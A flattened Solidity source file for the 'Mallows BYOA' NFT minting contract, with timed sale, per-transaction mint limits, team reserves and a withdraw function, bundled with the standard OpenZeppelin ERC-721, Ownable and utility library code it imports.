// SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; pragma solidity ^0.8.0; contract MallowsByoa is ERC721Enumerable, Ownable { uint256 public constant MAX_SUPPLY = 10000; uint256 public constant RESERVES = 100; // Saved for the team and advisors uint256 private _saleTime = 1628809200; // 7PM EDT on August 12th uint256 private _price = 4 * 10**16; // This is currently .04 eth string private _baseTokenURI; constructor(string memory baseURI) ERC721("Mallows BYOA", "MLWS") { setBaseURI(baseURI); } function setSaleTime(uint256 time) public onlyOwner { _saleTime = time; } function getSaleTime() public view returns (uint256) { return _saleTime; } function isSaleOpen() public view returns (bool) { return block.timestamp >= _saleTime; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } // Allows for the early reservation of 100 rugs from the creators for promotional usage function getReserves(uint256 _count) public onlyOwner { uint256 totalSupply = totalSupply(); require(totalSupply + _count < RESERVES, "Beyond max limit"); // make sure we can only mint the first 100 require( block.timestamp < _saleTime, "Sale has already started." ); for (uint256 index; index < _count; index++) { _safeMint(0x5F464Da70f02A498CD525e950bcCb323b9989D90, totalSupply + index); } } // Count is how many they want to mint function mint(uint256 _count) public payable { uint256 totalSupply = totalSupply(); require( totalSupply + _count <= MAX_SUPPLY, "A transaction of this size would surpass the token limit." ); require( totalSupply < MAX_SUPPLY, "All tokens have already been minted." ); require(_count < 21, "Exceeds the max token per transaction limit."); require( msg.value >= _price * _count, "The value submitted with this transaction is too low." ); require( block.timestamp >= _saleTime, "The mallows sale is not currently open." ); for (uint256 i; i < _count; i++) { _safeMint(msg.sender, totalSupply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function withdrawAll() public payable { require(payable(0x5F464Da70f02A498CD525e950bcCb323b9989D90).send(address(this).balance)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
